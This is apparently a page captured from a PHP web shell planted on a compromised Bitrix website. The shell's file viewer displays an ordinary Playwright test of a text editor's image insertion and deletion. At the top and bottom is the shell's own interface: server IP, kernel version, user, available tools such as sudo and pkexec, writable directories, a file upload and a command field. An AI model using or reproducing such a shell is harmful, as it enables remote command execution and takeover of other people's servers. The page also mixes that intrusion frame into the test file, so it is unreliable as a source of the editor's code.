403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/js/ui/text-editor/test/e2e/tests/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/js/ui/text-editor/test/e2e/tests/images.spec.js
const { test } = require('@playwright/test');
const {
	focusEditor,
	initializeTest,
	assertHTML,
	insertSampleImage,
	assertSelection,
	click, waitForSelector,
} = require('./utils');

const { moveLeft, selectAll, pressBackspace } = require('./keyboard');
const { paragraph, image, br, text } = require('./html');
const { defaultTheme } = require('../../../src/themes/default-theme');

test.describe('Images', () => {
	test('Can create a decorator and move selection around it', async ({ page }) => {
		await initializeTest({ page });
		await focusEditor(page);
		await insertSampleImage(page);

		await assertHTML(
			page,
			paragraph(image() + br()),
			{ ignoreInlineStyles: true },
		);

		await assertSelection(page, {
			anchorOffset: 1,
			anchorPath: [0],
			focusOffset: 1,
			focusPath: [0],
		});

		await focusEditor(page);
		await page.keyboard.press('ArrowLeft');
		await page.keyboard.press('ArrowLeft');
		await assertSelection(page, {
			anchorOffset: 0,
			anchorPath: [0],
			focusOffset: 0,
			focusPath: [0],
		});

		await page.keyboard.press('ArrowRight');
		await page.keyboard.press('ArrowRight');
		await assertSelection(page, {
			anchorOffset: 1,
			anchorPath: [0],
			focusOffset: 1,
			focusPath: [0],
		});

		await page.keyboard.press('ArrowRight');
		await page.keyboard.press('ArrowRight');
		await page.keyboard.press('Backspace');

		await assertHTML(page, paragraph());

		await assertSelection(page, {
			anchorOffset: 0,
			anchorPath: [0],
			focusOffset: 0,
			focusPath: [0],
		});

		await insertSampleImage(page);
		await click(page, `.${defaultTheme.image.img}`);

		await assertHTML(
			page,
			paragraph(image(true) + br()),
			{ ignoreInlineStyles: true },
		);

		await page.keyboard.press('Backspace');

		await assertHTML(page, paragraph());

		await focusEditor(page);
		await insertSampleImage(page);

		await assertHTML(
			page,
			paragraph(image() + br()),
			{ ignoreInlineStyles: true },
		);

		await assertSelection(page, {
			anchorOffset: 1,
			anchorPath: [0],
			focusOffset: 1,
			focusPath: [0],
		});

		await page.keyboard.press('ArrowLeft');
		await page.keyboard.press('ArrowLeft');

		await page.keyboard.press('Delete');

		await assertHTML(page, paragraph());

		await assertSelection(page, {
			anchorOffset: 0,
			anchorPath: [0],
			focusOffset: 0,
			focusPath: [0],
		});
	});

	test('Can add images and delete them correctly', async ({ page }) => {
		await initializeTest({ page });
		await focusEditor(page);
		await insertSampleImage(page);
		await insertSampleImage(page);

		await focusEditor(page);
		await moveLeft(page, 4);

		await assertHTML(
			page,
			paragraph(image() + image() + br()),
			{ ignoreInlineStyles: true },
		);

		await assertSelection(page, {
			anchorOffset: 0,
			anchorPath: [0],
			focusOffset: 0,
			focusPath: [0],
		});

		await page.keyboard.press('Delete');
		await assertHTML(
			page,
			paragraph(image() + br()),
			{ ignoreInlineStyles: true },
		);

		await assertSelection(page, {
			anchorOffset: 0,
			anchorPath: [0],
			focusOffset: 0,
			focusPath: [0],
		});

		await page.keyboard.press('Delete');
		await assertHTML(page, paragraph());
		await assertSelection(page, {
			anchorOffset: 0,
			anchorPath: [0],
			focusOffset: 0,
			focusPath: [0],
		});

		await page.keyboard.type('Test');
		await insertSampleImage(page);
		await insertSampleImage(page);

		await focusEditor(page);
		await moveLeft(page, 4);

		await assertHTML(
			page,
			paragraph(text('Test') + image() + image() + br()),
			{ ignoreInlineStyles: true },
		);

		await assertSelection(page, {
			anchorOffset: 4,
			anchorPath: [0, 0, 0],
			focusOffset: 4,
			focusPath: [0, 0, 0],
		});
		await page.keyboard.press('Delete');

		await assertHTML(
			page,
			paragraph(text('Test') + image() + br()),
			{ ignoreInlineStyles: true },
		);

		await assertSelection(page, {
			anchorOffset: 4,
			anchorPath: [0, 0, 0],
			focusOffset: 4,
			focusPath: [0, 0, 0],
		});
	});

	test('Node selection: can select multiple image nodes and replace them with a new image', async ({ page }) => {
		await initializeTest({ page });
		await focusEditor(page);

		await page.keyboard.type('text1');
		await page.keyboard.press('Enter');
		await insertSampleImage(page);
		await page.keyboard.press('Enter');
		await page.keyboard.type('text2');
		await page.keyboard.press('Enter');
		await insertSampleImage(page);
		await page.keyboard.press('Enter');
		await page.keyboard.type('text3');

		await assertHTML(
			page,
			paragraph(text('text1') + br() + image() + br() + text('text2') + br() + image() + br() + text('text3')),
			{ ignoreInlineStyles: true },
		);
	});

	test('Can select all and delete everything', async ({ page }) => {
		await initializeTest({ page, demoContent: true });
		await focusEditor(page);

		await waitForSelector(page, `.${defaultTheme.image.img}`);

		await selectAll(page);
		await pressBackspace(page);

		await assertHTML(page, paragraph());
	});
});

Youez - 2016 - github.com/yon3zu
LinuXploit